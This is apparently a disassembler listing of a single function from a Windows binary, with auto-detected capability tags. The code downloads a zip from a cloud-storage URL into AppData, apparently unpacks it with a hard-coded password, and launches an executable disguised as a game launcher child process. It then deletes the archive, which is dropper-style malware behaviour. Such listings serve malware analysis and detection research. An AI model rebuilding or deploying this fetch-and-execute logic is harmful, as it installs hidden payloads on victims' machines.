Function at 0x1401ade30
Capabilities:
Create directory
Create process on windows
Delete file
Get common file path
Get startup folder
Initialize winsock library

Disassembly:
push rbp
push rbx
push rdi
lea rbp, [rsp - 0x6f0]
sub rsp, 0x7f0
mov qword [rbp - 0x50], 0xfffffffffffffffe
mov byte [rbp - 0x40], 0
xor edx, edx
mov r8d, 0x103
lea rcx, [rbp - 0x3f]
call fcn.140182c50
xor r9d, r9d
lea r8d, [r9 + 0x1a]
lea rdx, [rbp - 0x40]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea rcx, [rbp - 0x40]
dec rcx
nop word [rax + rax]
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x1401ade80
movups xmm0, xmmword [str.obsessMultifile.zip]
movups xmmword [rcx], xmm0
mov eax, dword [0x140226220]
mov dword [rcx + 0x10], eax
movzx eax, word [0x140226224]
mov word [rcx + 0x14], ax
mov byte [rbp + 0xd0], 0
xor edx, edx
mov r8d, 0x103
lea rcx, [rbp + 0xd1]
call fcn.140182c50
xor r9d, r9d
lea r8d, [r9 + 0x1a]
lea rdx, [rbp + 0xd0]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea rax, [rbp + 0xd0]
dec rax
lea rax, [rax + 1]
cmp byte [rax], 0
jne 0x1401adee2
movsd xmm0, qword [str.obsess]
movsd qword [rax], xmm0
mov byte [rbp + 0x1e0], 0
xor edx, edx
mov r8d, 0x103
lea rcx, [rbp + 0x1e1]
call fcn.140182c50
xor r9d, r9d
lea r8d, [r9 + 0x1a]
lea rdx, [rbp + 0x1e0]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea rax, [rbp + 0x1e0]
dec rax
lea rax, [rax + 1]
cmp byte [rax], 0
jne 0x1401adf32
movups xmm0, xmmword [str.obsessGameLauncherCefChildProcess.exe]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140226240]
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [0x140226250]
movsd qword [rax + 0x20], xmm0
lea rcx, [rbp + 0xd0]
call qword [sym.imp.SHLWAPI.dll_PathIsDirectoryA]
test eax, eax
jne 0x1401adf7d
xor edx, edx
lea rcx, [rbp + 0xd0]
call qword [sym.imp.KERNEL32.DLL_CreateDirectoryA]
call fcn.140008f20
mov rdx, rax
xor edi, edi
mov ecx, edi
test rax, rax
setne cl
test ecx, ecx
jne 0x1401adf9e
mov ecx, 0x80004005
call fcn.1400022c0
int3
mov rax, qword [rax]
mov rcx, rdx
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp + 0x538], rax
call fcn.140008f20
mov rdx, rax
mov ecx, edi
test rax, rax
setne cl
test ecx, ecx
jne 0x1401adfd1
mov ecx, 0x80004005
call fcn.1400022c0
int3
mov rax, qword [rax]
mov rcx, rdx
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp + 0x540], rax
or rbx, 0xffffffffffffffff
nop dword [rax]
movdqa xmm0, xmmword [0x140229320]
movdqu xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [0x140229310]
movdqu xmmword [rsp + 0x60], xmm1
movdqa xmm0, xmmword [str.iyuncs.com_YGX_4s_cn_shenzhen.alhttps:__gg101.os_]
movdqu xmmword [rsp + 0x70], xmm0
mov dword [rbp - 0x80], 0x32312e37
mov dword [rbp - 0x7c], 0x70697a2e
mov byte [rbp - 0x78], 0
lea rcx, [rsp + 0x50]
call qword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
mov qword [rbp - 0x58], send
mov qword [rbp - 0x60], rdi
mov byte [rbp - 0x70], 0
cmp byte [rbp - 0x40], 0
jne 0x1401ae052
mov r8, rdi
jmp 0x1401ae06a
lea rax, [rbp - 0x40]
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1401ae060
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 0x70]
call fcn.140005000
nop
mov qword [rsp + 0x48], send
mov qword [rsp + 0x40], rdi
mov byte [rsp + 0x30], 0
cmp byte [rsp + 0x50], 0
jne 0x1401ae097
mov r8, rdi
jmp 0x1401ae0aa
lea rax, [rsp + 0x50]
mov r8, rbx
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1401ae0a0
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x30]
call fcn.140005000
nop
mov ecx, 0x202
lea rdx, [rbp + 0x550]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x1401ae0df
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x30]
call fcn.1401ae910
nop
cmp qword [rsp + 0x48], 0x10
jb 0x1401ae0f1
mov rcx, qword [rsp + 0x30]
call fcn.140007b08
mov qword [rsp + 0x48], send
mov qword [rsp + 0x40], rdi
mov byte [rsp + 0x30], 0
cmp qword [rbp - 0x58], 0x10
jb 0x1401ae114
mov rcx, qword [rbp - 0x70]
call fcn.140007b08
xor edx, edx
lea rcx, [rbp - 0x40]
call fcn.140181384
cmp eax, 0xffffffff
je 0x1401adff0
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.DLL_Sleep]
call fcn.140008f20
mov rdx, rax
mov ecx, edi
test rax, rax
setne cl
test ecx, ecx
jne 0x1401ae152
mov ecx, 0x80004005
call fcn.1400022c0
int3
mov rax, qword [rax]
mov rcx, rdx
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp + 0x718], rax
call fcn.140008f20
mov rdx, rax
mov ecx, edi
test rax, rax
setne cl
test ecx, ecx
jne 0x1401ae185
mov ecx, 0x80004005
call fcn.1400022c0
int3
mov rax, qword [rax]
mov rcx, rdx
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp + 0x710], rax
lea r8, [rbp - 0x40]
lea rdx, [0x140226258]
lea rcx, [rbp + 0x718]
call fcn.1400027b0
lea r8, [rbp + 0xd0]
lea rdx, [0x140226258]
lea rcx, [rbp + 0x710]
call fcn.1400027b0
lea rdx, str.YVDCGGGS94FHAD
lea rcx, [rbp + 0x720]
call fcn.140003790
mov r9, rax
lea r8, [rbp + 0x710]
lea rdx, [rbp + 0x718]
lea rcx, [rbp + 0x400]
call fcn.1401b6400
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.DLL_Sleep]
call fcn.1401aedf0
lea rcx, [rbp + 0x1e0]
call fcn.1401ae350
mov ecx, gethostbyname
call qword [sym.imp.KERNEL32.DLL_Sleep]
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea r8, [rbp + 0x1e0]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, gethostbyname
call qword [sym.imp.KERNEL32.DLL_Sleep]
mov byte [rbp + 0x2f0], 0
xor edx, edx
mov r8d, 0x103
lea rcx, [rbp + 0x2f1]
call fcn.140182c50
xor r9d, r9d
lea r8d, [r9 + 0x1a]
lea rdx, [rbp + 0x2f0]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea rcx, [rbp + 0x2f0]
dec rcx
nop dword [rax]
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x1401ae290
movups xmm0, xmmword [str.obsessMultifile.zip]
movups xmmword [rcx], xmm0
mov eax, dword [0x140226220]
mov dword [rcx + 0x10], eax
movzx eax, word [0x140226224]
mov word [rcx + 0x14], ax
lea rcx, [rbp + 0x2f0]
call qword [sym.imp.KERNEL32.DLL_DeleteFileA]
nop
mov rdx, qword [rbp + 0x710]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1401ae2e1
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x718]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1401ae2fd
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x540]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1401ae318
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rdx, qword [rbp + 0x538]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1401ae333
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
add rsp, 0x7f0
pop rdi
pop rbx
pop rbp
ret